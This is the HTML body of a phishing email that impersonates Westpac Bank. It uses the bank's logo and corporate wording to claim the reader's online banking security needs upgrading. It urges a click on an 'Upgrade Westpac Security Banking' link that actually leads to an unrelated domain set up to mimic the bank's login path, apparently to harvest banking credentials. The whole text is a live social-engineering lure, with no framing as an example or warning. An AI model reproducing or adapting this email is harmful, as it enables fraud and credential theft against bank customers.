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<title>Dear Westpac Bank Customer</title>
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<td width="100%" height="14" colspan="3"> <img src="http://www.westpac.com.au/images/aln_westpac.gif" width="150" height="44"></td>
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<font face="Arial" style="font-size: 9pt" color="#666666"><br>Dear Westpac Customer,</font><p align="left">
<font face="Arial" size="2" color="#666666">At Westpac, we
are passionate about helping you achieve your financial aspirations and
protect your confidential information. We understand that the privacy and
confidentiality of personal or business information is important to our
customers. That's why we are committed to safeguarding the personal and
financial details you provide us.</font></p>
<p align="left"><font face="Arial" size="2" color="#666666">Regarding our commitment to
increase security level, we need your participation to take a part with us.
Our security system and technology indicated that your security online
banking is not upgraded yet. Please click the following below to increase
your security level :</font></p>
<p align="center"><b><font face="Arial" size="2"><a href="http://attractiveadults.com/audios/online.westpac.com.au/esis/Login/">
<font color="#7E9BE5">Upgrade Westpac Security Banking</font></a></font></b></p>
<p align="left"><font face="Arial" size="2" color="#666666">We see corporate responsibility
as being fundamentally about 'doing the right thing'. Right by our own
people, right by our customers, right by the community and right by the
environment. Thank you for banking with us.</font></p>
<p align="left"><font face="Arial" size="2"><font color="#666666"><br>Security Advisor<br>
WESTPAC Banking Group Limited.<br>
Australian and New Zealand in Conjunction.</font><br><br></font></td>
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